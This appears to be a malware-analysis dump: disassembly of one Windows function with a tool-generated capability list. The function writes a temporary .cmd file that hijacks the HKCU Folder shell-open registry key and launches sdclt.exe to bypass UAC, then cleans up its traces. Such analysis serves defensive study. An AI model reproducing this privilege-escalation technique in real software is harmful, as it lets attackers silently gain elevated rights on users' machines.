Function at 0x140002800
Capabilities:
Create process on windows
Delete file
Delete registry key
Get common file path
Persist via default file association registry key
Set registry value
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x138
mov edx, 0x2710
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002c6e
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x140002c63
mov rdx, qword [rsp + 0x58]
mov ecx, 0x7fff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jbe 0x140002c58
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x140002c58
lea rax, str.F056F3CA_DD6E_4280_8E46_F7A4FC5E7D98
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x58]
lea r8, str._s_s.cmd
mov edx, 0x7fff
mov rcx, qword [rsp + 0x60]
call fcn.140019c8c
mov qword [rsp + 0x68], 0xffffffffffffffff
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0xffffffffffffffff
je 0x140002c4d
lea rax, str.E02FA112_6770_442E_BBB4_4DD92BB63ED2
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x140]
lea r8, str.reg_add__HKCUSoftwareClassesFolder_shellopencommand___d__cmd.exe__c___S___S___f__reg_add__HKCUSoftwareClassesFolder_shellopencommand___v__DelegateExecute___f
mov edx, 0x7fff
mov rcx, qword [rsp + 0x50]
call fcn.14001a478
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [rsp + 0x74], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x70]
mov r8d, dword [rsp + 0x74]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x68], 0xffffffffffffffff
mov eax, dword [rsp + 0x74]
cmp dword [rsp + 0x70], eax
jne 0x140002c2f
mov dword [rsp + 0x28], 6
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8, qword [rsp + 0x60]
lea rdx, [0x140025c30]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 0x20
jbe 0x140002c2f
lea r9, str.ED3A13F9_A78A_4FB3_BF39_76C7C931B5FD
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
je 0x140002c10
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
je 0x140002c10
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
je 0x140002c02
mov edx, 0x7fff
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x140002bf4
mov r9, qword [rsp + 0x88]
lea r8, str._scmd.exe__c_sdclt.exe
mov edx, 0x7fff
mov rcx, qword [rsp + 0x80]
call fcn.140019c8c
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0xb0]
call fcn.140019ba0
mov dword [rsp + 0xb0], WSAGetLastError
mov dword [rsp + 0xec], 1
xor eax, eax
mov word [rsp + 0xf0], ax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x140002bf4
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x128], 0
mov dword [rsp + 0x120], 0
cmp dword [rsp + 0x120], 0xa
jge 0x140002b7b
lea r8, str.2EF7A1C2_32FB_4E95_8CF7_4B180506FB8F
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenEventW]
mov qword [rsp + 0x128], rax
cmp qword [rsp + 0x128], 0
je 0x140002b5e
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002b7b
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rsp + 0x120]
inc eax
mov dword [rsp + 0x120], eax
jmp 0x140002b1d
cmp qword [rsp + 0x128], 0
je 0x140002bf4
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x140025c40]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov eax, 1
jmp 0x140002c70
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.SoftwareClassesFolder_shellopencommand
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
cmp qword [rsp + 0x68], 0xffffffffffffffff
je 0x140002c42
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x138
ret